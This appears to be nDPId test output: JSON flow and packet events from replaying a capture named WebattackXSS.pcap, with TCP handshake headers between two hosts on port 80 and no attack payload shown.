+00433{"flow_id":483,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6877,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":836945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uNxAAEAGCvzAqAoyrBAAAQBQ7fr\/T2fui6Dl2oARAONF1wAAAQEICgPl3zIBPA2+"} +00433{"flow_id":483,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6878,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":837525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07f5AAD4G19msEAABwKgKMu36AFCLoOXa\/09n74AQAOVF1QAAAQEICgE8Db4D5d8y"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":444,"flow_packet_id":6,"flow_first_seen":1499347720094,"flow_last_seen":1499347725815,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60220,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":444,"flow_packet_id":6,"flow_first_seen":1499347720094,"flow_last_seen":1499347725815,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":445,"flow_packet_id":6,"flow_first_seen":1499347721376,"flow_last_seen":1499347726816,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60234,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":445,"flow_packet_id":6,"flow_first_seen":1499347721376,"flow_last_seen":1499347726816,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60234,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":446,"flow_packet_id":6,"flow_first_seen":1499347724082,"flow_last_seen":1499347729818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60260,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":446,"flow_packet_id":6,"flow_first_seen":1499347724082,"flow_last_seen":1499347729818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":447,"flow_packet_id":6,"flow_first_seen":1499347725355,"flow_last_seen":1499347730818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60274,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":447,"flow_packet_id":6,"flow_first_seen":1499347725355,"flow_last_seen":1499347730818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60274,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":448,"flow_packet_id":6,"flow_first_seen":1499347726623,"flow_last_seen":1499347731818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60288,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6879,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":448,"flow_packet_id":6,"flow_first_seen":1499347726623,"flow_last_seen":1499347731818,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60288,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6882,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":487,"flow_packet_id":1,"flow_first_seen":1499347793575,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60990,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":487,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6882,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":575417,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86x9AAD4G2rCsEAABwKgKMu4+AFCp1uVpAAAAAKACchDRggAAAgQFtAQCCAoBPA52AAAAAAEDAwc="} +00445{"flow_id":487,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6883,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":575512,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7j6t+bU4qdblaqAScSCLXgAAAgQFtAQCCAoD5d\/rATwOdgEDAwc="} +00433{"flow_id":487,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6884,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":576110,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yBAAD4G2resEAABwKgKMu4+AFCp1uVqrfm1OYAQAOUqZgAAAQEICgE8DnYD5d\/r"} +00432{"flow_id":484,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":836997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0h69AAD4GPimsEAABwKgKMu4IAFB6rY7QPIKsfYARAOUvZAAAAQEICgE8DrgD5drX"} +00432{"flow_id":484,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6889,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":837268,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TFFAAEAGd4fAqAoyrBAAAQBQ7gg8gqx9eq2O0YARAOMqEAAAAQEICgPl4CwBPA64"} +00432{"flow_id":484,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347793,"pkt_ts_usec":837999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0h7BAAD4GPiisEAABwKgKMu4IAFB6rY7RPIKsfoAQAOUqDgAAAQEICgE8DrgD5eAs"} +00432{"flow_id":485,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6894,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347794,"pkt_ts_usec":837191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03o9AAD4G50isEAABwKgKMu4WAFDDudQUnF5dPYARAOWOMwAAAQEICgE8D7ID5dwT"} +00432{"flow_id":485,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6895,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347794,"pkt_ts_usec":837443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vBtAAEAGB73AqAoyrBAAAQBQ7hacXl09w7nUFYARAOOJIQAAAQEICgPl4SYBPA+y"} +00432{"flow_id":485,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6896,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347794,"pkt_ts_usec":837987,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03pBAAD4G50esEAABwKgKMu4WAFDDudQVnF5dPoAQAOWJHwAAAQEICgE8D7ID5eEm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6903,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":488,"flow_packet_id":1,"flow_first_seen":1499347796130,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32784,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":488,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6903,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347796,"pkt_ts_usec":130119,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dkVAAD4GT4usEAABwKgKMoAQAFA7jGawAAAAAKACchAqNgAAAgQFtAQCCAoBPBD1AAAAAAEDAwc="} +00444{"flow_id":488,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347796,"pkt_ts_usec":130269,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgBCKrPedO4xmsaAScSDCewAAAgQFtAQCCAoD5eJpATwQ9QEDAwc="} +00432{"flow_id":488,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6905,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347796,"pkt_ts_usec":130988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dkZAAD4GT5KsEAABwKgKMoAQAFA7jGaxiqz3noAQAOVhgwAAAQEICgE8EPUD5eJp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6912,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":489,"flow_packet_id":1,"flow_first_seen":1499347797419,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32798,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":489,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6912,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":419654,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tZJAAD4GED6sEAABwKgKMoAeAFBmW6elAAAAAKACchC9IQAAAgQFtAQCCAoBPBI3AAAAAAEDAwc="} +00444{"flow_id":489,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6913,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":419747,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgB7MdTcTZlunpqAScSDS5QAAAgQFtAQCCAoD5eOsATwSNwEDAwc="} +00432{"flow_id":489,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6915,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":420247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tZNAAD4GEEWsEAABwKgKMoAeAFBmW6emzHU3FIAQAOVx7QAAAQEICgE8EjcD5eOs"} +00432{"flow_id":486,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6918,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":837493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GCZAAD4GrbKsEAABwKgKMu4wAFDmKhUS50ZyoIARAOXE2gAAAQEICgE8EqAD5d6q"} +00433{"flow_id":486,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6919,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":837778,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lrRAAEAGLSTAqAoyrBAAAQBQ7jDnRnKg5ioVE4ARAOO\/cQAAAQEICgPl5BQBPBKg"} +00433{"flow_id":486,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6920,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347797,"pkt_ts_usec":838297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GCdAAD4GrbGsEAABwKgKMu4wAFDmKhUT50ZyoYAQAOW\/bwAAAQEICgE8EqAD5eQU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6924,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":490,"flow_packet_id":1,"flow_first_seen":1499347798713,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":490,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6924,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":713386,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LWRAAD4GmGysEAABwKgKMoAsAFA\/CD4fAAAAAKACchBMqQAAAgQFtAQCCAoBPBN7AAAAAAEDAwc="} +00444{"flow_id":490,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6925,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":713508,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgCwp5bxCPwg+IKAScSB+iwAAAgQFtAQCCAoD5eTvATwTewEDAwc="} +00433{"flow_id":490,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6926,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":714250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LWVAAD4GmHOsEAABwKgKMoAsAFA\/CD4gKeW8Q4AQAOUdkwAAAQEICgE8E3sD5eTv"} +00433{"flow_id":487,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6931,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":837640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yFAAD4G2rasEAABwKgKMu4+AFCp1uVqrfm1OYARAOUlQQAAAQEICgE8E5oD5d\/r"} +00432{"flow_id":487,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6932,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":837872,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0UDdAAEAGc6HAqAoyrBAAAQBQ7j6t+bU5qdbla4ARAOMgHwAAAQEICgPl5Q4BPBOa"} +00432{"flow_id":487,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6933,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347798,"pkt_ts_usec":838630,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yJAAD4G2rWsEAABwKgKMu4+AFCp1uVrrfm1OoAQAOUgHQAAAQEICgE8E5oD5eUO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6943,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":491,"flow_packet_id":1,"flow_first_seen":1499347801271,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32838,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":491,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6943,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":271157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZRhAAD4GYLisEAABwKgKMoBGAFBeRnDiAAAAAKACchD4DgAAAgQFtAQCCAoBPBX6AAAAAAEDAwc="} +00444{"flow_id":491,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6944,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":271281,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgEYSjN1bXkZw46AScSAdsQAAAgQFtAQCCAoD5edvATwV+gEDAwc="} +00432{"flow_id":491,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6945,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":271840,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZRlAAD4GYL+sEAABwKgKMoBGAFBeRnDjEozdXIAQAOW8uAAAAQEICgE8FfoD5edv"} +00432{"flow_id":488,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6949,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":838705,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dkdAAD4GT5GsEAABwKgKMoAQAFA7jGaxiqz3noARAOVb7wAAAQEICgE8FogD5eJp"} +00433{"flow_id":488,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6950,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":839100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EGNAAEAGs3XAqAoyrBAAAQBQgBCKrPeeO4xmsoARAONWXAAAAQEICgPl5\/0BPBaI"} +00432{"flow_id":488,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6951,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347801,"pkt_ts_usec":839620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dkhAAD4GT5CsEAABwKgKMoAQAFA7jGayiqz3n4AQAOVWWgAAAQEICgE8FogD5ef9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":492,"flow_packet_id":1,"flow_first_seen":1499347802549,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":492,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6955,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":549433,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jF5AAD4GOXKsEAABwKgKMoBUAFDx5ZtkAAAAAKACchA4nwAAAgQFtAQCCAoBPBc6AAAAAAEDAwc="} +00444{"flow_id":492,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6956,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":549556,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgFQ6vzwG8eWbZaAScSDWJAAAAgQFtAQCCAoD5eiuATwXOgEDAwc="} +00432{"flow_id":492,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6957,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347802,"pkt_ts_usec":550162,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jF9AAD4GOXmsEAABwKgKMoBUAFDx5ZtlOr88B4AQAOV1LAAAAQEICgE8FzoD5eiu"} 